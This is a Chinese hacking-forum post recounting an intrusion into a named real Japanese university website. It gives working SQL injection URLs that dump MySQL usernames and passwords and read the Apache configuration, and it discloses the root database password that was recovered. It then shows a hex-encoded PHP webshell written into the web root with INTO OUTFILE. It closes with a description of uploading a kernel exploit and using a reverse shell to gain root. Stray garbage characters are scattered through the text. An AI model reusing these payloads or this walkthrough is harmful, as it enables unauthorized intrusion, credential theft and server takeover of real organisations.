找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2484|回复: 0
打印 上一主题 下一主题

入侵日本同志社大学

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-21 13:48:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
入侵日本同志社大学技术分析
# T& P4 T0 G* \" P
+ d; N5 ^$ k! t; _, E; d, Vhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1
2 v  ?9 Z' o  T* S4 Y8 A然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
+ @7 s. K* r9 V6 D* @
' M# J% h- K, p7 ?/ c. Ahttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user8 F( l5 m8 Z5 }0 z8 h6 t
. _  ^. u6 Q7 O) @4 A5 X. l
8 l$ d& K# Y6 I4 e. D
5 j! m, b4 I% u% e' |" D
//@@datadir为数据库文件路径
! i% T- E! u* c8 B" m
0 ]! c; L3 p2 N  L
) _2 q6 d/ `5 B//load_file读取网站容器apache的配置文件
; I3 `/ H2 F7 o  ~0 W+ T % P) r+ j1 ]& t9 M
3 n: b& A- |0 a! N. H6 G2 I7 K
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
8 U2 @& W6 R) Q& m& E/ D8 {复制代码: Y, F2 h$ @+ i5 Z7 ?
/ t' X6 o. ^+ q: H0 ~4 u
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。* H  f0 y. w; a" m6 S: A/ N

& I: h" l4 D6 l+ q而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。
* N7 x- v  o0 P. n9 r! ?(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)
5 M; H1 ~* Y" ?; Q
& c, ^) I5 ~6 P& p* Q/ [前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
2 G6 h- ~! D7 D如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html
2 E+ u, ], K& ?  b4 C- @) h( k8 c, o) q/ k7 p
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/' t$ B  f/ u. m; v/ ]: X: a
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
) L, U6 {& |( t6 v4 b0 }直接写一句话:. z0 J' T$ ?% `9 \% O. S

( f( l) f' u* v* C, b/ V  t+ C* Vhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’## |2 M" [5 l+ m- w! A
! f& B7 b2 A$ L% T7 Q; k

' ]5 P9 b/ ^$ c8 ^8 v+ T+ N# E# O% z) `- M$ b9 \. c/ e, p5 u
//最后的#是为了闭合前面的语句
( E/ j/ k2 I  t& |: G4 [% _% x) U + R, a' r1 J6 i/ e
5 ^, f. o! m* K3 |2 c* f1 h6 P
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E ; d. U, W5 r& m" ~& V6 f

' U- F0 N# K4 R) [- S6 V1 t  _  y, b2 ^) F+ r% |# i9 R
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
7 {( P2 B2 P. B. F8 l. D
# m! L& X# t$ i! E% E: W
& o' Z$ x, [9 H" `" m//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句 2 O0 c. \; E1 k
! T! J& h( H5 k

$ c* t0 O( H. }2 r$ L8 B& G! H) `//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误 - T  x- ]# w1 w" j
//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>” ! Z) v. I, z7 ~
复制代码% G) d- f' Q) F4 N- V4 e! r% }
' K1 L! u& @+ ~9 d3 f
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
* N* K7 S6 r* z( _# U9 i( s通过上述注入语句,我们就得到了一句话木马:$ Q- Z  w( b: q- ^8 [# Q4 l, q  ?

/ o5 r* C4 Q; z# }* j
/ }, Q  U# r( F5 J" E2 s
+ x1 l, M, g& N5 U5 v9 l
  j* O* m# }. Z) s$ Z+ [* w- v4 ~' u* t
http://www.doshisha.ac.jp/english/engnews_img/aa.php * E. J  A4 O) O+ `! I5 R4 I7 }
复制代码; E/ w" g! z. `; V0 m* ?
4 x/ n$ |, Y& X
用菜刀连接,密码是cmd,如图所示:! ]# `9 r0 R% D# V
然后在命令提示行里看了一下,现在的权限是:
4 N4 y. T8 w- C) q8 C6 p3 q
1 q, k; D  A: f之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。' |6 d' ]; y" P: R4 O
好在赋权给这个文件夹不需要root,直接执行赋权语句:( {$ v) F; P0 s/ \  L/ k& l) f! T

* H- K7 Y' C: s
$ z) m2 C. g! S  A$ \; l) e- b, e+ o7 g0 b4 L$ ]; S/ J
: C3 w) |  E2 g: }4 M/ j

9 b* L7 G- t" i, V  }chmod +x /tmp/ # Q: y" s5 u3 m* |9 t4 }
复制代码6 `* J9 ~# S- x9 N3 R; K$ ^

- E! Y: ?% Z8 }& }* {( s在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行
. v! v# |! G% u+ S然后就查了一下内核版本:
9 P1 g3 Y3 d7 c% }" O- {0 Y$ t+ h) |! j& p* r( z+ Y

1 V' Y" }4 J) R' `9 J2 t, b, D6 o" V' i, G: G- B

. K: {' w$ S; c; B9 t8 w3 ~; @/ N
uname-a # v: F6 i4 V% `! H, v& U

5 ]' @9 o2 X0 w. u; \( W7 F* @& j4 I0 k; l1 q* y
//其实lsb_release -a
$ q. `. Z7 v, G复制代码
+ h7 ?- i7 y7 h! y
3 Z4 m, n/ f" S如图所示:! z+ J5 z: b) c/ I/ N. ^$ g- h

7 g  L/ E) v1 B内核版本:linux mainz1 2.6.28-194.e15
/ p: `) C' I7 T! v4 p! T/ ^系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)( o" t, s0 g( N' v
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹) A, q3 A9 y0 a, V- i

  r* _8 N  G6 L- m1 E8 D; J4 b% v然后给予执行权限" c) \4 B8 e6 W' S) g* R3 G
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
2 B7 l% P7 B6 _5 k% `  V- D: @4 H3 y" g+ t0 b; N3 z5 k
" [2 i' D# v8 i' @
- j% `. R, A2 o! a9 s) H' f

# T! A! _% g* }3 H8 v. w
. {2 D5 P/ u& Kchmod +x /tmp/2.6.18-194 8 \! z5 ?' s8 H: s
复制代码 然后直接执行!~8 f+ i  m5 P9 @2 g! u1 i% {

4 F5 a4 ^9 Y, @7 v/ }: U" ]. }总结:
2 n8 s4 O. s4 v% G! Y2 W这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了/ V( p9 f3 z7 b( {3 A4 U; _& }
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root$ ^* n+ p( N* X$ o! F

; S( R6 r( @" \3 v1 e2 V* c7 j
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表